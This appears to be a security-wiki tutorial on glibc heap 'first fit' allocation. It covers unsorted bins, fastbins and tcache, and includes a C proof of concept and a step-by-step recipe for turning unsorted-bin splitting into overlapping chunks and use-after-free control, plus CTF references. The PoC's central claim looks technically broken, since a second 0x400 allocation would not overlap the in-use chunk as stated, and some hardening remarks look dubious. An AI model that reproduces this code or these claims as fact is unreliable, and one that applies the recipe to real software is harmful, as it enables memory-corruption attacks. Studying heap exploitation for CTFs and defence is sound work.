First Fit

Reading time: 8 minutes

First Fit

When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.

Unsorted Bins

When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.

Example:

• You allocate 300 bytes (a), then 250 bytes (b), then free a and request again 250 bytes (c).
• When you free a, it goes to the unsorted bin.
• If you then request 250 bytes again, the allocator finds a at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
  • c will be pointing to the previous a and filled with the a's contents.

char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);

Fastbins

Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.

Example:

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);   // d
b = malloc(20);   // c
c = malloc(20);   // b
d = malloc(20);   // a

🔥 Modern glibc considerations (tcache ≥ 2.26)

Since glibc 2.26 every thread keeps its own tcache that is queried before the unsorted bin. Therefore a first-fit scenario will only be reached if:

1. The requested size is larger than tcache_max (0x420 on 64-bit by default), or
2. The corresponding tcache bin is already full or emptied manually (by allocating 7 elements and keeping them in use).

In real exploits you will usually add a helper routine such as:

// Drain the tcache for a given size
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);

Once the tcache is exhausted, subsequent frees go to the unsorted bin and classic first-fit behaviour (tail search, head insertion) can be triggered again.

🚩 Crafting an overlapping-chunk UAF with first-fit

The fragment below (tested on glibc 2.38) shows how the splitter in the unsorted bin can be abused to create 2 overlapping pointers – a powerful primitive that converts a single free into a write-after-free.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    setbuf(stdout, NULL);

    /* 1. prepare 2 adjacent chunks and free the first one */
    char *A = malloc(0x420);   // big enough to bypass tcache
    char *B = malloc(0x420);
    strcpy(A, "AAAA\n");
    free(A);                   // A → unsorted

    /* 2. request a *smaller* size to force a split of A */
    char *C = malloc(0x400);   // returns lower half of former A

    /* 3. The remainder of A is still in the unsorted bin.
          Another 0x400-byte malloc will now return the *same*
          region pointed to by B – creating a UAF/overlap. */
    char *C2 = malloc(0x400);

    printf("B  = %p\nC2 = %p (overlaps B)\n", B, C2);

    // Arbitrary write in B is immediately visible via C2
    memset(B, 'X', 0x10);
    fwrite(C2, 1, 0x10, stdout);  // prints Xs
}

Exploitation recipe (common in recent CTFs):

1. Drain the tcache for the target size.
2. Free a chunk so it lands in the unsorted bin.
3. Allocate a slightly smaller size – the allocator splits the unsorted chunk.
4. Allocate again – the leftover part overlaps with an existing in-use chunk → UAF.
5. Overwrite sensitive fields (function pointers, FILE vtable, etc.)

A practical application can be found in the 2024 HITCON Quals Setjmp challenge where this exact primitive is used to pivot from a UAF to full control of __free_hook.

🛡️ Mitigations & Hardening

• Safe-linking (glibc ≥ 2.32) only protects the singly-linked tcache/fastbin lists. The unsorted/small/large bins still store raw pointers, so first-fit based overlaps remain viable if you can obtain a heap leak.
• Heap pointer encryption & MTE (ARM64) do not affect x86-64 glibc yet, but distro hardening flags such as GLIBC_TUNABLES=glibc.malloc.check=3 will abort on inconsistent metadata and can break naïve PoCs.
• Filling tcache on free (proposed in 2024 for glibc 2.41) would further reduce unsorted usage; monitor future releases when developing generic exploits.

Other References & Examples

• https://heap-exploitation.dhavalkapil.com/attacks/first_fit
• https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/
  • ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, overwriting the position of user->password from the previous one. Reuse the user to bypass the password check
• https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example
  • The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc() with the contents of the note.
  • The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
    • Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
• https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html
  • It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
• https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html
  • In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
• 2024 HITCON Quals Setjmp write-up (Quarkslab) – practical first-fit / unsorted-split overlap attack: https://ctftime.org/writeup/39355
• Angstrom CTF 2024 heapify write-up – abusing unsorted-bin splitting to leak libc and gain overlap: https://hackmd.io/@aneii11/H1S2snV40